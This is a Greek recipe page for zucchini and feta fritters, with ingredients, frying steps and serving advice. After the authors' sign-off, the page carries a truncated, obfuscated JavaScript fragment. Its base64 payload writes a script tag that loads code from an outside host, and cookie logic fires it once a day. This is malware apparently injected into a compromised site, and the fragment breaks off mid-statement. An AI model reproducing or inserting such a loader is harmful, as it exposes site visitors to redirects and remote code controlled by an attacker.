Κολοκυθοκεφτέδες

Τα κολοκυθάκια είναι στην εποχή τους και οι κολοκυθοκεφτέδες θα είναι μια πολύ καλή επιλογή για ένα υπέροχο δείπνο !!! Οι τσουχτροφίλοι μας τους δοκίμασαν, πρόσθεσαν και τη δική τους πινελιά και σας λένε τα μυστικά τους…

Υλικά για 2 γερές μερίδες:

——————————–

• 3-4 μέτρια κολοκύθια
• 1 μέτριο κρεμμύδι τριμμένο
• 2 σκελίδες σκόρδο ψιλοκομμένο
• 1/3 ματσάκι άνηθος ψιλοκομμένος
• 7-8 φυλλαράκια δυόσμος ψιλοκομμένος
• 4 κοφτές κουταλιές της σούπας αλεύρι
• 3 αυγά
• 250 γρ. φέτα
• Ελαιόλαδο
• Αλάτι πιπέρι

Εκτέλεση:

————-

Τρίβουμε τα κολοκύθια στην ψιλή πλευρά του τρίφτη, τα αλατίζουμε, και τα αφήνουμε σε ένα σουρωτήρι για 15-20 λεπτά να βγάλουν τα περισσότερα από τα υγρά τους.

Στη συνέχεια τα στραγγίζουμε καλά.

Ξεκινάμε το μαγείρεμα τσιγαρίζοντας σε λίγο ελαιόλαδο το κρεμμύδι.

Μόλις ξανθύνει ρίχνουμε το σκόρδο, το τσιγαρίζουμε και αυτό για 1 λεπτό και ρίχνουμε τα τριμμένα κολοκύθια.

Το μαγειρεύουμε για 8-10 λεπτά ώστε να στεγνώσει και να ενσωματωθούν το κρεμμύδι και το σκόρδο. Αν δούμε πως υπάρχει κίνδυνος να «πιάσει» στο τηγάνι ρίχνουμε λίγο λάδι ακόμα.

Στη συνέχεια το αφήνουμε στην άκρη για 20 λεπτά περίπου να κρυώσει.

Σε ένα μπωλ χτυπάμε τα αυγά, το αλεύρι και προσθέτουμε το δυόσμο και τον άνιθο.

Στη συνέχεια τρίβουμε με το χέρι μας τη φέτα ώστε να μην γίνει εντελώς ψιλό τρίμμα αλλά να υπάρχουν και μικρά κομματάκια. Ανακατεύουμε με ένα κουτάλι.

Προτείνουμε να δοκιμάσετε με φέτα Αγράφων, που ταιριάζει πάρα πολύ.

Ρίχνουμε το κολοκύθι που στο μεταξύ έχει κρυώσει και ανακατεύουμε ώστε να έχουμε ένα αρκετά ομοιογενές μείγμα.

Βάζουμε σε ένα τηγάνι ελαιόλαδο να κάψει (όχι στο μέγιστο όμως της κουζίνας σας, λίγο παρακάτω). Περίπου 1,5 πόντος λάδι είναι αρκετό.

Παίρνουμε μία μία κουταλιά το μείγμα και το βάζουμε στο τηγάνι. Τηγανίζουμε για περίπου 1,5-2 λεπτά ανά πλευρά.

Συνοδεύουμε με φρέσκο ψωμί και μια πλούσια χωριάτικη σαλάτα!

Από τον Πάνο και τη Μιρέλλα,  Καλή σας Όρεξη και Καλή Επιτυχία!

 
lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘